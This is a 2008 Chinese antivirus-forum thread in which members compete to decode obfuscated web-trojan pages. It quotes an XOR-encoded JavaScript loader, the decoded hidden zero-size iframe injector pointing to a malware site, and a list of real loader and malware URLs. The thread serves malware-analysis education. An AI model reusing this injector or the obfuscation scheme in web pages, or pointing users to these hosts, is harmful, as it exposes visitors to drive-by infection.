查看: 2037|回复: 7
收起左侧

[其它] [解密悬赏][第4期][OVER]

 关闭 [复制链接]
qianwenxiang
发表于 2008-12-25 21:27:43 | 显示全部楼层 |阅读模式
宗旨:
让更多人了解如何解密网马

规则:
1、Hunter不能参加活动
2、上次活动成功解密者,本次活动不能参加
3、必须把所有木马地址全部解出,不完全解密且所发URL之前没有人解出者得到对应网址的25%经验
4、最好有解密软件日志,如果没有,请发出具体解密过程
5、当第一个人成功完全解密后,将根据难度给予其相应经验,所有URL全部解完之后本帖将锁定
6、如果有违反1~2条规则的情况,本帖随即锁定,之后成功解密的作废!
7、锁定后,会重新修改本次的解密地址,并且开帖!
解密地址:
常规 国内的 (61.191.61.157)
hXXp://www.touba3.cn/17/0017.htm(替换HXXP为HTTP)   8分

再来个难度些的 国外域名(91.211.64.155)
hXXp://bigsellstaff.cn/feedback.html(替换HXXP为HTTP)   20分


(此帖有效期至明天的悬赏帖发布为止)
(PS:请优先解20的~)

注意:此地址含有恶意软件,可能会危害到您的计算机。请不要直接打开,否则因此造成的一切后果我们概不负责!
参考解密工具:
FreShow(英文)、
Redoce 1.5(中文)、malzilla (英文,但是乃神器也)
http://glacierlk.cn/openlab/jm.htm
参考解密教程:
http://bbs.kafan.cn/viewthread.php?tid=387608
http://bbs.kafan.cn/viewthread.php?tid=220550


ms某人不在 代发次
250662772
发表于 2008-12-26 11:59:21 | 显示全部楼层
第一个网站打不开
第二个解了半天没找到地址,
  1. function AGTGhLD(LhI){function AaaIGI(PAh){eval("var LHLG=0;");var HHh=PAh.length;eval("var

  2. HLAAPG=0;");while(HLAAPG<HHh){LHLG+=AADhh(PAh,HLAAPG)*HHh;HLAAPG++;}return (LHLG+'');}

  3. function AADhh(PGDA,HTHAL){return PGDA.charCodeAt(HTHAL);} try {var ATlAP=eval('a/r(g?u?

  4. m?e{n?t(s{./c(a{lGlGe/eG'.replace(/[G\(\{/\?]/g, '')),PPaaAa='';var LlAPaA=0,AHlhIl=0,PGIA=

  5. (new String(ATlAP)).replace(/[^@a-z0-9A-Z_.,-]/g,'');var HTHT=AaaIGI(PGIA);eval

  6. ("LhI=unescape(LhI);");for(var LDPIP=0; LDPIP < (LhI.length); LDPIP++){var AIG=AADhh

  7. (PGIA,LlAPaA)^AADhh(HTHT,AHlhIl);var LAD=AADhh(LhI,LDPIP);LlAPaA++;AHlhIl++;if

  8. (AHlhIl>HTHT.length)AHlhIl=0;if(LlAPaA>PGIA.length)LlAPaA=0;PPaaAa+=String.fromCharCode

  9. (LAD^AIG) + '';}eval(PPaaAa); return PPaaAa=null;}catch(e){}}AGTGhLD('%32%35%39%36%35%37%

  10. 31%37%61%39%28%1f%1f%3d%32%3c%1e%61%3d%69%77%2e%35%2c%27%79%3a%25%35%02%51%13%5a%14%30%06%

  11. 31%39%30%2e%20%6b%1e%0d%29%14%71%2a%12%2b%1a%14%3a%3e%07%75%30%33%36%2b%37%2e%0d%70%6a%63%

  12. 7a%2c%78%30%0d%2f%4e%53%01%05%71%30%63%71%43%35%14%12%04%11%0b%1a%0c%3c%3b%1f%17%54%11%18%

  13. 5f%11%1d%28%0b%56%36%6d%12%11%51%7a%42%1d%5f%0d%38%0b%3c%02%35%10%1b%29%26%35%27%6b%7e%3b%

  14. 13%1d%0a%38%67%75%72%73%40%66%7b%17%59%02%3a%2d%26%33%02%06%7c%1c%14%0b%15%53%55%31%33%2d%

  15. 29%3e%05%19%01%25%79%24%76%7b%67%44%77%68%45%1c%6f%02%07%09%37%09%37%00%22%21%2d%30%11%4b%

  16. 7a%1e%35%3e%24%30%2e%73%69%76%72%44%6c%7b%29%2a%78%21%3d%3e%29%2a%5c%3e%3c%16%60%6d%33%00%

  17. 2e%31%34%37%31%38%74%77%34%4a%3b%71%4c%74%3c%33%24%38%3d%1c%41%32%5d%7c%6e%13%3c%0a%34%1d%

  18. 3f%6a%6e%15%58%2f%06%35%3f%35%0f%2c%2d%7e%46%7c%0f%21%13%15%26%5b%04%24%03%71%73%7e%39%5e%

  19. 6b%67%56%22%2a%30%47%31%56%13%64%0c%53%1b%74%01%10%04%38%22%60%56%5d%63');
复制代码

解红色字符
  1. gpglunko MLhNEFE@(h,)tuu}!{wd{/n:`ncthlau)gse`qlJmbidnu-.fguele&,2/n)wsc<"a{uw>./cln|dkhrt`co!bi+cusk'gujh&;!j'|dsEutslkzub,&wha}g&+$1):%f!rbp@tuw`mtsa)'gwhbdeksddw.#!7-: n+zjuFpurhg|{d/#iehba{&+$1):%m`bridnu+k`e~*`pq`gkBommd)j 4!zg`tbm!j(|wdtUldjnrp)ftkj{hhj!((~EF`F@@A@-"$h.?|,!79?(<y| MLhNEFE@(1,2
复制代码

版主还的指教一下了

[ 本帖最后由 250662772 于 2008-12-26 12:01 编辑 ]
雨宫优子
发表于 2008-12-26 13:28:40 | 显示全部楼层
呵呵...还是万能大法解
给大家小小的透露一下,其实解第二个的方法全都在教程里

[ 本帖最后由 aarwwefdds 于 2008-12-26 13:31 编辑 ]
雨宫优子
发表于 2008-12-26 13:48:07 | 显示全部楼层
250662772已经表示弃权

将不能再次参加这次解密!
qianwenxiang
 楼主| 发表于 2008-12-26 16:55:53 | 显示全部楼层

回复 2楼 250662772 的帖子

昨天晚上可以打开的 今天居然400了。。
qianwenxiang
 楼主| 发表于 2008-12-26 17:22:17 | 显示全部楼层
arguments.callee
function LIaADAAA(i) {try {var o=document.createElement('iframe'); o.src='http://bigsellstaff.cn/burn.html'; o.setAttribute('width', 0); o.setAttribute('frameborder', 0); o.setAttribute('height', 0); document.body.appendChild(o); }catch(e){setTimeout(function (){LIaADAAA(++i);}, 200);}} LIaADAAA(0);


Malzilla运行之
qianwenxiang
 楼主| 发表于 2008-12-26 21:17:13 | 显示全部楼层
公布解密步骤为~

URL: http://www.awcmadrid.com/
IFrame URL: http://bigsellstaff.cn/feedback.html
IFrame URL: http://bigsellstaff.cn/doors.html
IFrame URL: http://bigsellstaff.cn/goustebook.html
IFrame URL: http://bigsellstaff.cn/galler.html
Loader URL: http://ipimpstuff.cn/in.cgi?3
Loader URL: http://bigsellstaff.cn/login/index.php
Malware URL: http://bigsellstaff.cn/login/load.php
雨宫优子
发表于 2008-12-27 20:35:53 | 显示全部楼层
原帖由 qianwenxiang 于 2008-12-26 21:17 发表
公布解密步骤为~

URL: http://www.awcmadrid.com/
IFrame URL: http://bigsellstaff.cn/feedback.html
IFrame URL: http://bigsellstaff.cn/doors.html
IFrame URL: http://bigsellstaff.cn/goustebook.html ...

似乎解对了..
俺用的万能大法
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-15 16:33 , Processed in 0.138442 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表